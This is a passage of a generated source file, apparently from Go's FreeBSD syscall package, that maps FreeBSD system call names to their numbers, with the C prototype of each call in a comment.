SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
SYS_ACCESS = 33 // { int access(char *path, int amode); }
SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
SYS_SYNC = 36 // { int sync(void); }
SYS_KILL = 37 // { int kill(int pid, int signum); }
SYS_GETPPID = 39 // { pid_t getppid(void); }
SYS_DUP = 41 // { int dup(u_int fd); }
SYS_PIPE = 42 // { int pipe(void); }
SYS_GETEGID = 43 // { gid_t getegid(void); }
SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
SYS_GETGID = 47 // { gid_t getgid(void); }
SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
SYS_ACCT = 51 // { int acct(char *path); }
SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
SYS_REBOOT = 55 // { int reboot(int opt); }
SYS_REVOKE = 56 // { int revoke(char *path); }
SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
SYS_CHROOT = 61 // { int chroot(char *path); }
SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
SYS_VFORK = 66 // { int vfork(void); }
SYS_SBRK = 69 // { int sbrk(int incr); }
SYS_SSTK = 70 // { int sstk(int incr); }
SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
SYS_GETPGRP = 81 // { int getpgrp(void); }
SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
SYS_SWAPON = 85 // { int swapon(char *name); }
SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
SYS_FSYNC = 95 // { int fsync(int fd); }
SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
SYS_LISTEN = 106 // { int listen(int s, int backlog); }
SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
SYS_RENAME = 128 // { int rename(char *from, char *to); }
SYS_FLOCK = 131 // { int flock(int fd, int how); }
SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
SYS_RMDIR = 137 // { int rmdir(char *path); }
SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
SYS_SETSID = 147 // { int setsid(void); }
SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
SYS_FREEBSD6_PREAD = 173 // { ssize_t freebsd6_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
SYS_FREEBSD6_PWRITE = 174 // { ssize_t freebsd6_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
SYS_SETFIB = 175 // { int setfib(int fibnum); }
SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
SYS_SETGID = 181 // { int setgid(gid_t gid); }
SYS_SETEGID = 182 // { int setegid(gid_t egid); }
SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
SYS_FREEBSD6_MMAP = 197 // { caddr_t freebsd6_mmap(caddr_t addr, size_t len, int prot, int flags, int fd, int pad, off_t pos); }
SYS_FREEBSD6_LSEEK = 199 // { off_t freebsd6_lseek(int fd, int pad, off_t offset, int whence); }
SYS_FREEBSD6_TRUNCATE = 200 // { int freebsd6_truncate(char *path, int pad, off_t length); }
SYS_FREEBSD6_FTRUNCATE = 201 // { int freebsd6_ftruncate(int fd, int pad, off_t length); }
SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
SYS_UNDELETE = 205 // { int undelete(char *path); }
SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
SYS_RFORK = 251 // { int rfork(int flags); }
SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
SYS_ISSETUGID = 253 // { int issetugid(void); }
SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
SYS_MODNEXT = 300 // { int modnext(int modid); }
SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
SYS_MODFNEXT = 302 // { int modfnext(int modid); }
SYS_MODFIND = 303 // { int modfind(const char *name); }
SYS_KLDLOAD = 304 // { int kldload(const char *file); }
SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
SYS_KLDFIND = 306 // { int kldfind(const char *file); }
SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
SYS_GETSID = 310 // { int getsid(pid_t pid); }
SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
SYS_AIO_RETURN = 314 // { int aio_return(struct aiocb *aiocbp); }
SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
SYS_OAIO_READ = 318 // { int oaio_read(struct oaiocb *aiocbp); }
SYS_OAIO_WRITE = 319 // { int oaio_write(struct oaiocb *aiocbp); }
SYS_OLIO_LISTIO = 320 // { int olio_listio(int mode, struct oaiocb * const *acb_list, int nent, struct osigevent *sig); }
SYS_YIELD = 321 // { int yield(void); }
SYS_MLOCKALL = 324 // { int mlockall(int how); }
SYS_MUNLOCKALL = 325 // { int munlockall(void); }
SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
SYS_JAIL = 338 // { int jail(struct jail *jail); }
SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
SYS_AIO_WAITCOMPLETE = 359 // { int aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
SYS_KQUEUE = 362 // { int kqueue(void); }
SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
SYS___SETUGID = 374 // { int __setugid(int flag); }
SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int flags); }
SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
SYS_THR_SELF = 432 // { int thr_self(long *id); }
SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
SYS__UMTX_LOCK = 434 // { int _umtx_lock(struct umtx *umtx); }
SYS__UMTX_UNLOCK = 435 // { int _umtx_unlock(struct umtx *umtx); }
SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
SYS_THR_WAKE = 443 // { int thr_wake(long id); }
SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
SYS_AUDITCTL = 453 // { int auditctl(char *path); }
SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
SYS_CAP_ENTER = 516 // { int cap_enter(void); }
SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
